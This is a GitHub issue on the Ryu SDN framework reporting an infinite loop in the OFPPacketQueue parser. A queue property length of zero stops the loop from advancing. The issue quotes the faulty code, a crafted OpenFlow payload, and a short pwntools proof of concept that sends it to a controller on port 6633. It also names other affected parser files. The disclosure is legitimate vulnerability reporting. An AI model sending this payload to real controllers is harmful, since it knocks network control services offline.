faucetsdn / ryu

Ryu component-based software defined networking framework
https://ryu-sdn.org
Apache License 2.0
1.51k stars 1.16k forks source link

Suggestion for OFPPacketQueue parser will cause an infinite loop #190

Open ErodedElk opened 6 months ago

ErodedElk commented 6 months ago

in /ryu/ofproto/ofproto_v1_3_parser.py about line=6026

class OFPPacketQueue(StringifyMixin):
....
    @classmethod
    def parser(cls, buf, offset):
    ....
        while length < len_:
            queue_prop = OFPQueueProp.parser(buf, offset)
            if queue_prop is not None:
                properties.append(queue_prop)
                offset += queue_prop.len
                length += queue_prop.len
        o = cls(queue_id, port, properties)
        o.len = len_
        return o

If OFPQueueProp.len=0,the offset and length will no longer change and the parsing will fall into an infinite loop.

This message will put ryu into an infinite loop:

payload="\x04\x17\x00\x50\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x73\x00\x40\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x03\x84\x00\x00\x00\x00\x00\x00\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00\x03\xe7\x00\x00\x00\x00"

poc:

from pwn import *
p=remote("0.0.0.0",6633)
payload="\x04\x17\x00\x50\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x73\x00\x40\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x03\x84\x00\x00\x00\x00\x00\x00\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00\x03\xe7\x00\x00\x00\x00"
p.send(payload)
p.interactive()

It was mentioned in https://github.com/faucetsdn/ryu/issues/177 that the length of OFPPacketQueue may be 0 during the parsing process of OFPQueueGetConfigReply message. However, during the parsing process of OFPPacketQueue, the length variable of OFPQueueProp may also cause this question.

ErodedElk commented 6 months ago

This problem also occurs with the following code: /ryu/ofproto/ofproto_v1_0_parser.py about line=1186 /ryu/ofproto/ofproto_v1_1_parser.py about line=3105 /ryu/ofproto/ofproto_v1_3_parser.py about line=6026